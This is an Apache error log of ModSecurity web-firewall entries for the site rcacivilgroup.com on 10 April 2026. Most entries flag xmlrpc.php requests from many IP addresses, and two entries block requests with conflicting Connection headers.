[Fri Apr 10 14:50:27.091830 2026] [:error] [pid 13102:tid 13176] [client 202.61.233.177:45614] [client 202.61.233.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.61.233.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adids_9xLvjW2guI55birQAAABA"]
[Fri Apr 10 14:51:11.767068 2026] [:error] [pid 13101:tid 13156] [client 159.65.249.223:43470] [client 159.65.249.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.249.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adid398Ldw85818pj2o81wAAAJc"]
[Fri Apr 10 15:01:28.301130 2026] [:error] [pid 13189:tid 13212] [client 95.173.103.120:59710] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adigSJAxiJKPums3eBDbKwAAAFQ"]
[Fri Apr 10 15:06:54.826778 2026] [:error] [pid 13102:tid 13172] [client 103.27.206.168:58856] [client 103.27.206.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.27.206.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adihjv9xLvjW2guI55bpbAAAAAw"]
[Fri Apr 10 15:12:23.904343 2026] [:error] [pid 3934:tid 3963] [client 81.8.91.201:34874] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adii14a41m-BS8mg82fCVQAAANg"]
[Fri Apr 10 15:14:25.876018 2026] [:error] [pid 3934:tid 3954] [client 141.95.66.91:36800] [client 141.95.66.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.66.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adijUYa41m-BS8mg82fEYwAAAM8"]
[Fri Apr 10 15:17:35.542924 2026] [:error] [pid 13101:tid 13153] [client 35.226.125.165:35310] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adikD98Ldw85818pj2pFSwAAAJQ"]
[Fri Apr 10 15:24:28.983790 2026] [:error] [pid 13189:tid 13216] [client 185.23.117.167:34200] [client 185.23.117.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.23.117.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adilrJAxiJKPums3eBDrHQAAAFg"]
[Fri Apr 10 15:25:36.048724 2026] [:error] [pid 13189:tid 13197] [client 103.39.132.40:46232] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.39.132.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adil8JAxiJKPums3eBDrtAAAAEU"]
[Fri Apr 10 15:28:46.943874 2026] [:error] [pid 13101:tid 13136] [client 217.216.48.92:44906] [client 217.216.48.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.48.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adimrt8Ldw85818pj2pJewAAAIM"]
[Fri Apr 10 15:33:03.705534 2026] [:error] [pid 13189:tid 13199] [client 141.95.66.91:44366] [client 141.95.66.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.66.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adinr5AxiJKPums3eBDxDAAAAEc"]
[Fri Apr 10 15:35:36.158419 2026] [:error] [pid 3934:tid 3962] [client 137.184.25.215:52266] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adioSIa41m-BS8mg82fbJgAAANc"]
[Fri Apr 10 15:35:46.467893 2026] [:error] [pid 13189:tid 13203] [client 162.19.25.160:37314] [client 162.19.25.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.25.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adioUpAxiJKPums3eBDzGQAAAEs"]
[Fri Apr 10 15:39:41.011165 2026] [:error] [pid 13102:tid 13180] [client 95.217.38.155:41212] [client 95.217.38.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.217.38.155, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adipPf9xLvjW2guI55b6gQAAABQ"]
[Fri Apr 10 15:40:57.912511 2026] [:error] [pid 3934:tid 3961] [client 137.184.25.215:37018] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adipiYa41m-BS8mg82fgzQAAANY"]
[Fri Apr 10 15:41:57.974454 2026] [:error] [pid 13101:tid 13142] [client 85.128.143.129:36422] [client 85.128.143.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.129, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adipxd8Ldw85818pj2pPpwAAAIk"]
[Fri Apr 10 15:42:49.552622 2026] [:error] [pid 13189:tid 13212] [client 213.32.29.22:62519] [client 213.32.29.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.32.29.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adip-ZAxiJKPums3eBD36AAAAFQ"]
[Fri Apr 10 15:47:45.317147 2026] [:error] [pid 3934:tid 3941] [client 197.221.14.188:38388] [client 197.221.14.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.221.14.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adirIYa41m-BS8mg82fnBwAAAMI"]
[Fri Apr 10 15:52:43.440597 2026] [:error] [pid 13102:tid 13171] [client 185.199.223.39:38920] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adisS_9xLvjW2guI55YA4QAAAAs"]
[Fri Apr 10 15:56:49.262995 2026] [:error] [pid 13189:tid 13206] [client 13.235.96.22:37982] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aditQZAxiJKPums3eBABbAAAAE4"]
[Fri Apr 10 16:00:58.381132 2026] [:error] [pid 13102:tid 13179] [client 43.135.145.73:46844] [client 43.135.145.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adiuOv9xLvjW2guI55YEHgAAABM"]
[Fri Apr 10 16:01:09.168044 2026] [:error] [pid 13101:tid 13140] [client 141.94.18.111:48890] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiuRd8Ldw85818pj2pX4gAAAIc"]
[Fri Apr 10 16:05:00.750401 2026] [:error] [pid 13189:tid 13215] [client 195.250.23.93:47678] [client 195.250.23.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.250.23.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adivLJAxiJKPums3eBAG4gAAAFc"]
[Fri Apr 10 16:06:11.888879 2026] [:error] [pid 13189:tid 13198] [client 67.205.159.76:48646] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adivc5AxiJKPums3eBAHsAAAAEY"]
[Fri Apr 10 16:07:31.510032 2026] [:error] [pid 3934:tid 3957] [client 5.9.109.189:60434] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adivw4a41m-BS8mg82f2IgAAANI"]
[Fri Apr 10 16:21:07.564133 2026] [:error] [pid 3934:tid 3941] [client 217.154.180.19:43924] [client 217.154.180.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.180.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiy84a41m-BS8mg82cC1QAAAMI"]
[Fri Apr 10 16:22:52.715657 2026] [:error] [pid 13101:tid 13140] [client 13.239.53.175:44194] [client 13.239.53.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.53.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adizXN8Ldw85818pj2phiQAAAIc"]
[Fri Apr 10 16:37:46.671034 2026] [:error] [pid 13100:tid 13123] [client 217.182.82.42:39088] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adi22lzg-ZkZ0InWIP1ctwAAARI"]
[Fri Apr 10 16:39:01.920946 2026] [:error] [pid 13102:tid 13178] [client 82.223.33.117:33132] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adi3Jf9xLvjW2guI55Yb9wAAABI"]
[Fri Apr 10 16:42:05.916167 2026] [:error] [pid 3934:tid 3949] [client 95.217.38.155:50988] [client 95.217.38.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.217.38.155, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adi33Ya41m-BS8mg82cfIQAAAMo"]
[Fri Apr 10 16:45:18.456812 2026] [:error] [pid 13101:tid 13145] [client 49.51.72.76:37102] [client 49.51.72.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adi4nt8Ldw85818pj2ptqAAAAIw"]
[Fri Apr 10 16:53:02.660781 2026] [:error] [pid 13101:tid 13146] [client 128.199.207.13:56506] [client 128.199.207.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.207.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adi6bt8Ldw85818pj2pxAgAAAI0"]
[Fri Apr 10 16:55:31.300413 2026] [:error] [pid 13100:tid 13122] [client 36.50.26.43:36018] [client 36.50.26.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.50.26.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adi7A1zg-ZkZ0InWIP1i8AAAARE"]
[Fri Apr 10 16:57:25.015866 2026] [:error] [pid 3934:tid 3947] [client 51.178.27.107:37470] [client 51.178.27.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.178.27.107, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adi7dYa41m-BS8mg82cvnQAAAMg"]
[Fri Apr 10 17:03:23.983620 2026] [:error] [pid 13102:tid 13167] [client 51.75.54.138:55136] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adi82_9xLvjW2guI55YowAAAAAc"]
[Fri Apr 10 17:09:06.095138 2026] [:error] [pid 13189:tid 13206] [client 141.95.66.91:35718] [client 141.95.66.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.66.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adi-MpAxiJKPums3eBA3IwAAAE4"]
[Fri Apr 10 17:10:13.649921 2026] [:error] [pid 13189:tid 13199] [client 185.199.223.27:41460] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adi-dZAxiJKPums3eBA4PwAAAEc"]
[Fri Apr 10 17:12:00.652610 2026] [:error] [pid 3934:tid 3957] [client 217.154.192.21:53120] [client 217.154.192.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.192.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adi-4Ia41m-BS8mg82c-BwAAANI"]
[Fri Apr 10 17:16:54.321303 2026] [:error] [pid 13102:tid 13177] [client 68.178.164.217:50124] [client 68.178.164.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.178.164.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjABv9xLvjW2guI55YyogAAABE"]
[Fri Apr 10 17:22:59.398104 2026] [:error] [pid 13189:tid 13205] [client 217.182.82.42:43498] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjBc5AxiJKPums3eBBFeAAAAE0"]
[Fri Apr 10 17:26:41.825870 2026] [:error] [pid 13101:tid 13144] [client 148.113.209.194:36874] [client 148.113.209.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.209.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjCUd8Ldw85818pj2qBzgAAAIs"]
[Fri Apr 10 17:37:07.453666 2026] [:error] [pid 13101:tid 13140] [client 170.249.163.210:49248] [client 170.249.163.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.249.163.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjEw98Ldw85818pj2qHSAAAAIc"]
[Fri Apr 10 17:44:21.108730 2026] [:error] [pid 13101:tid 13147] [client 103.153.2.10:45762] [client 103.153.2.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.153.2.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjGdd8Ldw85818pj2qKvQAAAI4"]
[Fri Apr 10 17:48:08.766562 2026] [:error] [pid 13189:tid 13215] [client 45.33.13.194:42290] [client 45.33.13.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.13.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjHWJAxiJKPums3eBBY-QAAAFc"]
[Fri Apr 10 17:50:29.577664 2026] [:error] [pid 13102:tid 13164] [client 69.163.206.7:33454] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjH5f9xLvjW2guI55ZJpwAAAAQ"]
[Fri Apr 10 17:51:21.188448 2026] [:error] [pid 13189:tid 13205] [client 37.128.148.215:48350] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjIGZAxiJKPums3eBBa0AAAAE0"]
[Fri Apr 10 18:03:13.987130 2026] [:error] [pid 13100:tid 13111] [client 15.235.163.7:40010] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjK4Vzg-ZkZ0InWIP2COQAAAQY"]
[Fri Apr 10 18:03:16.998873 2026] [:error] [pid 13101:tid 13150] [client 157.230.249.241:35968] [client 157.230.249.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.249.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjK5N8Ldw85818pj2qTJwAAAJE"]
[Fri Apr 10 18:13:49.566784 2026] [:error] [pid 3934:tid 3951] [client 85.214.232.59:42832] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjNXYa41m-BS8mg82eDFQAAAMw"]
[Fri Apr 10 18:22:28.198760 2026] [:error] [pid 13100:tid 13115] [client 167.99.182.49:48536] [client 167.99.182.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.182.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjPZFzg-ZkZ0InWIP2ILgAAAQo"]
[Fri Apr 10 18:24:44.036654 2026] [:error] [pid 3934:tid 3941] [client 85.128.143.123:39354] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjP7Ia41m-BS8mg82eLowAAAMI"]
[Fri Apr 10 18:25:50.575087 2026] [:error] [pid 13189:tid 13206] [client 103.85.84.51:50860] [client 103.85.84.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.85.84.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjQLpAxiJKPums3eBBtmwAAAE4"]
[Fri Apr 10 18:26:31.845631 2026] [:error] [pid 13100:tid 13123] [client 128.140.11.209:42894] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjQV1zg-ZkZ0InWIP2JJAAAARI"]
[Fri Apr 10 18:27:34.606342 2026] [:error] [pid 3934:tid 3959] [client 95.173.103.120:34042] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjQloa41m-BS8mg82eNPQAAANQ"]
[Fri Apr 10 18:36:36.157948 2026] [:error] [pid 3934:tid 3957] [client 67.205.159.76:31564] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjStIa41m-BS8mg82eTiwAAANI"]
[Fri Apr 10 18:36:40.342001 2026] [:error] [pid 13189:tid 13195] [client 217.154.180.19:54672] [client 217.154.180.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.180.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adjSuJAxiJKPums3eBByJAAAAEM"]
